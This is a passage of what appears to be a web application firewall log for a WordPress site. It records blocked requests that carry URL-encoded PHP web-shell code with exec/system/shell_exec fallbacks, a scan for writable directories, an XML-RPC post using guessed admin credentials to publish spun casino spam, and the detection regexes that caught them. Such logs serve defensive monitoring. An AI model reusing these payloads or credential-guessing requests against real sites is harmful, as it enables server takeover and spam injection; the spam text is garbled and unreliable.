3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnSNvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5plV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\n\nhP=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27listca_fornew%27%2C%27rss_folders%27%2C%27ConfigSchema%27%2C%27commonhtml%27%2C%27overlib.cfg%27%2C%27group_pricing%27%2C%27gc_details%27%2C%27Duplicate%27%2C%27Extension%27%2C%27vote2.tpl%27%2C%27Message.class%27%2C%27authentication%27%2C%27optionGenerator%27%2C%27RenameFolder%27%2C%27abt_course_sci%27%2C%27sp_feedgenerator%27%2C%27catselector%27%2C%27homeOct222010%27%2C%27italian.lng%27%2C%27googleshipping%27%2C%27default_comment%27%2C%27mysqli.class%27%2C%27theme_portfolio%27%2C%27hungarian%27%2C%27beginedit5%27%2C%27index_flv%27%2C%27config_ads%27%2C%27validation%27%2C%27cache_post%27%2C%27testoci8cursor%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 13:29:47","52.221.129.59","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%20%24files%20%3D%20%5B%27listca_fornew%27%2C%27rss_folders%27%2C%27ConfigSchema%27%2C%27commonhtml%27%2C%27overlib.cfg%27%2C%27group_pricing%27%2C%27gc_details%27%2C%27Duplicate%27%2C%27Extension%27%2C%27vote2.tpl%27%2C%27Message.class%27%2C%27authentication%27%2C%27optionGenerator%27%2C%27RenameFolder%27%2C%27abt_course_sci%27%2C%27sp_feedgenerator%27%2C%27catselector%27%2C%27homeOct222010%27%2C%27italian.lng%27%2C%27googleshipping%27%2C%27default_comment%27%2C%27mysqli.class%27%2C%27theme_portfolio%27%2C%27hungarian%27%2C%27beginedit5%27%2C%27index_flv%27%2C%27config_ads%27%2C%27validation%27%2C%27cache_post%27%2C%27testoci8cursor%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\ncontent-length:3356\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"macOS\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\nsec-fetch-mode:navigate\n\nIMAhJp=eval(rawurldecode(\"%20%20%24files%20%3D%20%5B%27listca_fornew%27%2C%27rss_folders%27%2C%27ConfigSchema%27%2C%27commonhtml%27%2C%27overlib.cfg%27%2C%27group_pricing%27%2C%27gc_details%27%2C%27Duplicate%27%2C%27Extension%27%2C%27vote2.tpl%27%2C%27Message.class%27%2C%27authentication%27%2C%27optionGenerator%27%2C%27RenameFolder%27%2C%27abt_course_sci%27%2C%27sp_feedgenerator%27%2C%27catselector%27%2C%27homeOct222010%27%2C%27italian.lng%27%2C%27googleshipping%27%2C%27default_comment%27%2C%27mysqli.class%27%2C%27theme_portfolio%27%2C%27hungarian%27%2C%27beginedit5%27%2C%27index_flv%27%2C%27config_ads%27%2C%27validation%27%2C%27cache_post%27%2C%27testoci8cursor%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20\"));"]
["2026-05-12 13:30:06","121.200.216.56","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> wV:%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-length:4400\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvq1LvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\n\nwV=%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 13:31:16","216.238.81.40","POST","\/xmlrpc.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36","post","select.+(from|limit) >> s:99a7781579e4ce5f64a2ffaf26f8761ada82513e\" alt=\"no deposit casino bonus spins\" border=\"1\" align=\"left\" style=\"padding: 20px;\">\n<p>Old-college slots, presenting common variety of aces, fortunate horseshoes, and wild signs. You can find four head sort of slots in the online gambling. We offer a huge number of over 15,300 totally free slot video game, all of the accessible without the need to register or download some thing! It’s a terrific way to test the newest video game and luxuriate in risk-100 percent free gameplay. You have made 10 car-spins, which begin instantaneously, and you will within the rotation, any winning traces can get a great multiplier out of x3. step 3, four or five ones photos result in 10, 20 or fifty 100 percent free revolves of your reels.<\/p>\r\n\r\n<h2 id=\"toc-3\">Epstein Prison Guard Googled His Label Times Ahead of His Passage And you will Produced Deposit Weeks Before<\/h2>\n<p>The game (Insane Panda's option identity) refines their Asian motif approach to the at random-selected awesome symbol feature. Nonetheless with their 50-range construction, but they are studying one to motif issues on line. Huge Tiger and you can Dragon's Pearl tell you they've been assessment past traditional icons. They have decided on the web issues and perhaps they are converting its whole profile to help you prove they.<\/p>\n<p>As usual, you will want to suits step 3 or maybe more signs discover a great winning integration. The fresh RTP (go back to player) of one's Nuts Panda slot is a little unsatisfying from the 94.26% that is lower than mediocre. This can be a 5 reels position that has an optimum one hundred paylines and you may cuatro rows. Practice to play the fresh 100 percent free online game in order to become a good master in it.<\/p>\n<p>In that way, profiles may choose to gamble games one to has just paid otherwise try its luck having a casino game one didn’t. Here, everybody is able to see which ports have paid an amount higher than the main one chosen in one single spin, over a designated time frame. Like most casinos, you’ll come across here harbors, one another Movies and you can Classical. The maximum wager welcome since the extra is actually play is actually C$7.50. During the CasinoBonusCA, i price local casino incentives objectively based on a rigorous get process.<\/p>\r\n<h2 id=\"toc-4\">Unlock That it Offer<\/h2>\n<img src=\"https:\/\/s3-media0.fl.yelpcdn.com\/bphoto\/j5vaU1fUox0UVhHS4DfzqA\/348s.jpg\" alt=\"the online casino promo codes\" border=\"1\" align=\"left\" style=\"padding: 20px;\">\n<p>Panda Crazy try a nice-looking game having an adorable theme but it could be a tad possible for sophisticated ports admirers. These types of Panda Wild symbols create exactly what merely Wilds can also be – option to all the other symbols on the game to create far more possible winning combinations. This can be along with the shared higher-paying icon from the games, awarding 200x their bet for many who be able to find 5 everywhere to the reels. These types of emails play a crucial role, because they assist to lead to the main benefit 100 percent free Spins game and you may discharge Wilds to the arena. That it Far-eastern-flavoured position has conventional pagodas, gold coins and you may koi seafood to your reels with a reddish bamboo forest history. The newest variance is just one most other dimensions you to tells regarding the standard quantity that game player is likely to make from every wager.<\/p>]]><\/value><\/member>\t  \r\n\t\t  <member><name>post_date_gmt<\/name>\r\n            <value><dateTime.iso8601>20260512T05:31:13<\/dateTime.iso8601><\/value><\/member>\r\n\t\t  <member><name>post_name<\/name>\r\n            <value><![CDATA[get-a-supplementary-boost-once-you-online-game-from-the-wild-casino-the-newest-crazy-escapades-for-insane-gambling-establishment-sees-with-all-the-nuts-offers-and-you-can-discounts.-check-them-out.]]><\/value><\/member>\r\n          \r\n        <\/struct>\r\n      <\/value>\r\n    <\/param>\r\n  <\/params>\r\n<\/methodCall>","POST \/xmlrpc.php HTTP\/1.1\nconnection:Close\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36\ncontent-type:text\/xml; charset=utf-8\nhost:dewenlabels.com\ncontent-length:7588\n\nauto=webp&<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<methodCall>\r\n  <methodName>wp.newPost<\/methodName>\r\n  <params>\r\n    <param><value>1<\/value><\/param>\r\n    <param><value>admin<\/value><\/param>\r\n    <param><value>Admin@123<\/value><\/param>\r\n    <param>\r\n      <value>\r\n        <struct>\r\n          <member><name>post_type<\/name>\r\n            <value>post<\/value><\/member>\r\n\t\t  <member><name>post_status<\/name>\r\n            <value>publish<\/value><\/member>\r\n\t\t  <member><name>post_title<\/name>\r\n            <value><![CDATA[Get A supplementary Boost Once you Online game From the Wild Casino The newest crazy escapades for Insane Gambling establishment sees with all the nuts offers and you can discounts. Check them out.]]><\/value><\/member>\r\n\t\t  <member><name>post_content<\/name>\r\n            <value><![CDATA[<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\"><p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Blogs<\/p><ul class=\"toc_list\"><li><a href=\"#toc-0\">Movies harbors<\/a><\/li><li><a href=\"#toc-1\">Furniture pieces Which might be So Awful They’re also In reality Funny<\/a><\/li><li><a href=\"#toc-2\">Insane Panda Position Design, Features &s=99a7781579e4ce5f64a2ffaf26f8761ada82513e\" alt=\"no deposit casino bonus spins\" border=\"1\" align=\"left\" style=\"padding: 20px;\">\n<p>Old-college slots, presenting common variety of aces, fortunate horseshoes, and wild signs. You can find four head sort of slots in the online gambling. We offer a huge number of over 15,300 totally free slot video game, all of the accessible without the need to register or download some thing! It’s a terrific way to test the newest video game and luxuriate in risk-100 percent free gameplay. You have made 10 car-spins, which begin instantaneously, and you will within the rotation, any winning traces can get a great multiplier out of x3. step 3, four or five ones photos result in 10, 20 or fifty 100 percent free revolves of your reels.<\/p>\r\n\r\n<h2 id=\"toc-3\">Epstein Prison Guard Googled His Label Times Ahead of His Passage And you will Produced Deposit Weeks Before<\/h2>\n<p>The game (Insane Panda's option identity) refines their Asian motif approach to the at random-selected awesome symbol feature. Nonetheless with their 50-range construction, but they are studying one to motif issues on line. Huge Tiger and you can Dragon's Pearl tell you they've been assessment past traditional icons. They have decided on the web issues and perhaps they are converting its whole profile to help you prove they.<\/p>\n<p>As usual, you will want to suits step 3 or maybe more signs discover a great winning integration. The fresh RTP (go back to player) of one's Nuts Panda slot is a little unsatisfying from the 94.26% that is lower than mediocre. This can be a 5 reels position that has an optimum one hundred paylines and you may cuatro rows. Practice to play the fresh 100 percent free online game in order to become a good master in it.<\/p>\n<p>In that way, profiles may choose to gamble games one to has just paid otherwise try its luck having a casino game one didn’t. Here, everybody is able to see which ports have paid an amount higher than the main one chosen in one single spin, over a designated time frame. Like most casinos, you’ll come across here harbors, one another Movies and you can Classical. The maximum wager welcome since the extra is actually play is actually C$7.50. During the CasinoBonusCA, i price local casino incentives objectively based on a rigorous get process.<\/p>\r\n<h2 id=\"toc-4\">Unlock That it Offer<\/h2>\n<img src=\"https:\/\/s3-media0.fl.yelpcdn.com\/bphoto\/j5vaU1fUox0UVhHS4DfzqA\/348s.jpg\" alt=\"the online casino promo codes\" border=\"1\" align=\"left\" style=\"padding: 20px;\">\n<p>Panda Crazy try a nice-looking game having an adorable theme but it could be a tad possible for sophisticated ports admirers. These types of Panda Wild symbols create exactly what merely Wilds can also be – option to all the other symbols on the game to create far more possible winning combinations. This can be along with the shared higher-paying icon from the games, awarding 200x their bet for many who be able to find 5 everywhere to the reels. These types of emails play a crucial role, because they assist to lead to the main benefit 100 percent free Spins game and you may discharge Wilds to the arena. That it Far-eastern-flavoured position has conventional pagodas, gold coins and you may koi seafood to your reels with a reddish bamboo forest history. The newest variance is just one most other dimensions you to tells regarding the standard quantity that game player is likely to make from every wager.<\/p>]]><\/value><\/member>\t  \r\n\t\t  <member><name>post_date_gmt<\/name>\r\n            <value><dateTime.iso8601>20260512T05:31:13<\/dateTime.iso8601><\/value><\/member>\r\n\t\t  <member><name>post_name<\/name>\r\n            <value><![CDATA[get-a-supplementary-boost-once-you-online-game-from-the-wild-casino-the-newest-crazy-escapades-for-insane-gambling-establishment-sees-with-all-the-nuts-offers-and-you-can-discounts.-check-them-out.]]><\/value><\/member>\r\n          \r\n        <\/struct>\r\n      <\/value>\r\n    <\/param>\r\n  <\/params>\r\n<\/methodCall>& The way it operates<\/a><\/li><li><a href=\"#toc-3\">Epstein Prison Guard Googled His Label Times Ahead of His Passage And you will Produced Deposit Weeks Before<\/a><\/li><li><a href=\"#toc-4\">Unlock That it Offer<\/a><\/li><\/ul><\/div>\n<p>Insane Gambling establishment have betting (rollover) criteria with each incentive provide. <!--more--> These <a href=\"https:\/\/vogueplay.com\/au\/mahjong-88\/\">https:\/\/vogueplay.com\/au\/mahjong-88\/<\/a> offers typically tend to be a worthwhile complimentary percentage of one hundred%-300%. While the the spin is actually an opportunity for more money prizes, register!<\/p>\r\n<h2 id=\"toc-0\">Movies harbors<\/h2>\n<p>The majority of the necessary casinos always render a good greeting incentive so you can the newest players. Our very own 